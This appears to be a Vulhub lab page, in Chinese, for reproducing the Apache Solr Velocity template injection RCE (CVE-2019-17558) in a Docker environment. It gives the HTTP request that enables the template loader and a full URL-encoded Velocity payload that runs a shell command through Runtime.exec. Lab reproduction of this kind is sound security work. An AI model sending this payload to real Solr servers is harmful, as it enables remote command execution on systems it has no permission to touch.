Apache Solr Velocity 注入遠程命令執行漏洞 (CVE-2019-17558)
Path solr/CVE-2019-17558
Apache Solr 是一個開源的搜索服務器。
在其 5.0.0 到 8.3.1版本中,用戶可以注入自定義模板,通過Velocity模板語言執行任意命令。
具體漏洞原理和POC可以參考:
- https://nvd.nist.gov/vuln/detail/CVE-2019-17558
- https://issues.apache.org/jira/browse/SOLR-13971
- https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
- https://github.com/jas502n/solr_rce
漏洞環境
執行如下命令啟動一個Apache Solr 8.2.0服務器:
docker-compose up -d
服務啟動后,訪問http://your-ip:8983即可查看到一個無需權限的Apache Solr服務。
漏洞復現
默認情況下params.resource.loader.enabled配置未打開,無法使用自定義模板。我們先通過如下API獲取所有的核心:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
Vulhub里唯一的核心是demo:

通過如下請求開啟params.resource.loader.enabled,其中API路徑包含剛才獲取的core名稱:
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
之后,注入Velocity模板即可執行任意命令:
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Vulhub 文檔